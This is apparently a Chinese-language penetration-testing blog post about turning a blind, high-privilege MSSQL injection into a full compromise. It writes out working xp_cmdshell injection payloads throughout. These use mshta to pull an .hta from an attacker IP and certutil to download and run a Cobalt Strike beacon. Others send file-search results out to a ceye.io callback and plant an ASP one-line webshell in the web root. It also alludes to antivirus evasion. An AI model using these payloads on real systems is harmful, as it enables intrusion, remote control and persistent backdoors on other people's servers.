0x01 前言
前段时间在先知社区里看到“一次另类的mssql渗透之路”一文:一个MSSQL高权限注入点,可通过xp_cmdshell执行命令,但是没有回显信息。
sqlmap注入会导致网站奔溃,手注直接执行CS马也失败了,也没能爆出网站的绝对路径,所以暂时无法写入Webshell,大概情况就是这样。
作者最终的利用思路如下图,但因找不到绝对路径、执行命令无回显,也不能用dnslog将绝对路径外带出来、往中文路径写马等问题导致整个过程很是复杂。
所以就想着根据作者所遇到的这种场景去找些更为简单的利用方式,写马至中文路径可参考我之前写的:MSSQL高权限注入写马至中文路径
0x02 远程执行方式上线
遇到类似场景时先确定是否能够通过xp_cmdshell、sp_oacreate等方式执行命令,使用dnslog或httplog等外带方式测试是否可以出网???
如果都没问题则可以用这种远程执行方式来上线CS/MSF,可利用的远程执行方式还有很多,这里只以这种最为简单的mshta.exe来做演示。
代码语言:javascript复制;exec master..xp_cmdshell "cmd /c ping ******.dnslog.cn"
;exec master..xp_cmdshell "cmd /c mshta http://192.168.1.105:8080/evil.hta"
从上图中我们可以看到在语句执行完成后虽然出现了“超时时间已到。在操作完成之前超时时间已过或服务器未响应。”这个报错,但这可能只是我测试环境的问题,并不会影响CS马的正常执行和上线。
注:作者在文中提到的CS Powershell Payload单引号导致语句执行失败的问题应该是可以解决的,只需注意下执行语句中的单、双引号即可,还有过杀软等防护的免杀问题,有兴趣的可以自己去测试一下。
0x03 文件落地方式上线
除了以上方式,我们还可以使用以下这些文件落地方式来上线CS/MSF,但前提是得提前准备好一个免杀的CS木马供远程下载和执行,否则也会被查杀和拦截。
代码语言:javascript复制Mshta/Certutil/Bitsadmin/Powershell/MpCmdRun
代码语言:javascript复制;exec master..xp_cmdshell "cmd /c certutil -urlcache -split -f http://192.168.1.105:8080/beacon.exe C:ProgramDatabeacon.exe"
;exec master..xp_cmdshell "cmd /c C:ProgramDatabeacon.exe"
注:实战中这个注入没有回显,所以暂无法确定这个文件是否已经成功落地到磁盘中,不过我们可以通过执行以下命令来确定文件是否存在,使用httplog方式将执行结果给外带出来,有则存在,无则不存在。
同时我们也可以通过使用这种方式将找到的网站绝对路径给外带出来,http://ceye.io。
代码语言:javascript复制;exec master..xp_cmdshell 'cmd /c for /r C:ProgramData %i in (beacon.exe*) do certutil -urlcache -split -f http://******.ceye.io/%i'
0x04 获取绝对路径Getshell
我们在实战中有时也会遇到无回显、不出网的场景,这时可以先去尝试通过404或文件报错页来获取网站的绝对路径,如果不行再去执行以下命令将找到的路径写入Web目录下,然后再去写入Webshell。
代码语言:javascript复制;exec master..xp_cmdshell 'for /r C: %i in (1653042293000.png*) do echo %i> %i..path.txt'
;exec master..xp_cmdshell 'echo ^<%execute request("1")%^> >C:inetpubwwwrootuploadshell.asp'
或者可以通过执行以下命令在查找绝对路径的同时写入Webshell,在指定的C盘中循环查找某某文件,将找到的绝对路径保存在%i变量中,../是返回上级目录,如果有找到那个文件就往里边写入一个shell.asp。
代码语言:javascript复制for /r C: %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp
注:本地测试中发现在执行以上两条命令时不能带有cmd /c,如果有则可能会执行失败,文件写不进去,但不确定在实战测试中是咋样的,所以这里我仅提供一个思路,大家还得根据实际场景进行测试吧。